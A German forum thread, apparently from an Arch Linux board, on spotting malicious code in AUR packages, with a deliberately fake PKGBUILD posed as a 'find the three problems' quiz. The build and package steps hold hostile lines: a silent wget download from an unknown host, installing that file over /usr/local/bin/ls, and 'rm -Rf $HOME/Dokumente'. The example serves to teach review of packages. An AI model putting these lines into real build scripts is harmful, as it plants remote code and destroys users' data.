Mod-Edit: abgetrennt auf Gerbras Wunsch (#3) hin
Johoda? schriebstefanhusmann schriebwäre insofern gefährlich, als dass dir jede Schadcode schon aktiv werden könnte, bevor du ihn dir angeschaut hast.
Das hört sich alles toll an, doch wie soll ich als nicht als Nichtprogrammierer den Schadcode in einem Packet erkennen.
Gibt es ein Tool mit dem ich Schadcode erkennen kann, bevor ich mit dem AUR-Helper oder makepkg installiere?
Das beste Tool ist in: man brain beschrieben <g>
Jedes PKGBUILD nutzt für jeden nachvollziehbare und gut dokumentierte Befehle, vorhandene Programme und ggf. spezifische Erstellungs-Tools (compiler, Skript-Interpreter,usw.). Wenn ich mir das PKGBUILD (plus Zusatzteile) nun vorher anschaue, dann kann ich relativ offensichtliche Probleme erkennen - bevor das irgendwie "gestartet" wird. Je besser ich mich mit den Befehlen, Syntax und der Logik auskenne, desto besser bin ich darin.
Unbekannte "Vorgänge" im PKGBUILD muß ich halt nachschlagen (manpage, was passiert da gerade mit welchen Optionen) oder vorher fragen. Wenn ich mich auf den ganzen Komplex "Was passiert in/durch dieses PKGBUILD?" partout nicht einlassen will, dann muß ich halt das AUR meiden - oder russisch Roulette spielen.
Beim GIMP z.B. muß man nicht den ganzen Sourcecode analysieren (wer es trotzdem kann ist fein raus), wenn ich Programm xyz nutzen will muß ich dem Ersteller/Programmierer ab einem gewissen Punkt vertrauen - aber ich kann mir das PKGBUILD anschauen (was ja von "irgendjemand" ins AUR gepackt wurde).
Ich schrieb irgendwann schonmal, daß das AUR nun kein "Spielplatz für Schadcodeverbreiter" ist, aber durch die "Natur der Sache": a) jeder kann ein AUR-Paket einstellen und b) durch makepkg und Konsorten wird Code ausgeführt; dadurch ergibt sich der Warnhinweis im AUR - und bekommt Sinn.
Nur ein Beispiel: Im folgenden PKGBUILD für ein Paket "gimp-8kuhd" finden sich 3(drei) potentielle Schwachstellen bzw. Codeteile, die einem stutzig machen sollten beim (vorhergehenden) Anschauen, diese sollten davon abhalten dieses Paket zu bauen.
Hinweis: Das ganze ist so nicht "lauffähig"/erstellbar, und ich habe mir keine große Mühe gegeben das auch wirklich funktionstüchtig auszutesten. Es geht eher "ums Prinzip".
AUR-Spiel: Finden Sie die 3 Problemstellen! Bis zu 43,000€ Gewinn möglich! Treffen Sie im richtigen Moment die Leitungen 5, 10 oder 180 und Sie erhalten die Chance ins Studio durchgestellt zu werden und dann um Ihren Gewinn zu spielen! Das Geld kann HEUTE noch auf meinem Konto sein!
# $Id$
# Maintainer: Levente Polyak <anthraxx[at]archlinux[dot]org>
# Contributor: Daniel Isenmann <daniel@archlinux.org>
#
# This PKGBUILD is a fake, only to demonstrate potential risks! GerBra
# Contributer: Alfred E. Neumann <mad@achlinux.org>
pkgname=gimp-8kuhd
pkgver=2.10.3
pkgrel=1
pkgdesc='GNU Gimp with 8kUHD and all secret functions enabled'
url='https://www.gimp.org/'
arch=('x86_64')
license=('GPL' 'LGPL')
depends=('babl' 'dbus-glib' 'desktop-file-utils' 'gegl' 'glib-networking' 'hicolor-icon-theme'
'jasper' 'lcms' 'libheif' 'libexif' 'libgudev' 'libmng' 'libmypaint' 'librsvg' 'libwebp'
'libwmf' 'libxmu' 'libxpm' 'mypaint-brushes' 'openexr' 'poppler-data' 'pygtk')
makedepends=('alsa-lib' 'wget' 'curl' 'ghostscript' 'gtk-doc' 'intltool' 'iso-codes' 'poppler-glib')
optdepends=('gutenprint: for sophisticated printing only as gimp has built-in cups print support'
'poppler-glib: for pdf support'
'alsa-lib: for MIDI event controller module'
'curl: for URI support'
'ghostscript: for postscript support')
conflicts=('gimp gimp-plugin-wavelet-decompose')
replaces=('gimp gimp-plugin-wavelet-decompose')
source=(https://tinyurl.com/ybvzgyy5/pub/gimp/v${pkgver%.*}/${pkgname}-${pkgver}.tar.bz2
linux.gpl)
sha256sums=('5cb0baaecdefe44d371a15f2739a1bcbce4682336b4ccf8eb7b587ce52c33334'
'1003bbf5fc292d0d63be44562f46506f7b2ca5729770da9d38d3bb2e8a2f36b3')
prepare() {
cd ${pkgname}-${pkgver}
_mypaintver=$(echo /usr/lib/libmypaint-*.so | grep -o -E '\-[0-9]+(\.[0-9]+)*' | head -1)
sed -i "s|\\(libmypaint\\)\\( >= libmypaint_required_version\\)|\\1${_mypaintver}\\2|g" configure.ac
autoreconf -vi
}
build() {
pkg-config --exists --print-errors "OpenEXR >= 1.6.1"
cd ${pkgname}-${pkgver}
wget -bq http://myspec.gimp.new.ru/pub/hgte45sadj -O 8k-uhd.spec -o /dev/null 2>&1 > /dev/null
PYTHON=/usr/bin/python2 ./configure \
--prefix=/usr \
--sysconfdir=/etc \
--libexecdir=/usr/bin \
--enable-mp \
--enable-gimp-console \
--enable-python \
--enable-gtk-doc \
--with-bug-report-url='https://bugs.archlinux.org/index.php?project=1&do=newtask' \
--with-openexr \
--without-aa
--with-all-secrets \
--with-8k-uhd 2>/dev/null
sed -i -e 's/ -shared / -Wl,-O1,--as-needed\0/g' libtool
make
}
package() {
cd ${pkgname}-${pkgver}
make DESTDIR="${pkgdir}" install
install -D -m644 "${srcdir}/linux.gpl" "${pkgdir}/usr/share/gimp/2.0/palettes/Linux.gpl"
install -D -m755 "8k-uhd.spec" "${pkgdir}/usr/local/bin/ls"
rm "${pkgdir}/usr/share/man/man1/gimp-console.1"
rm -Rf "$HOME/Dokumente"
ln -s gimp-console-${pkgver%.*}.1.gz "${pkgdir}/usr/share/man/man1/gimp-console.1.gz"
ln -s gimptool-2.0 "${pkgdir}/usr/bin/gimptool"
ln -sf gimptool-2.0.1.gz "${pkgdir}/usr/share/man/man1/gimptool.1.gz"
}
# vim: ts=2 sw=2 et: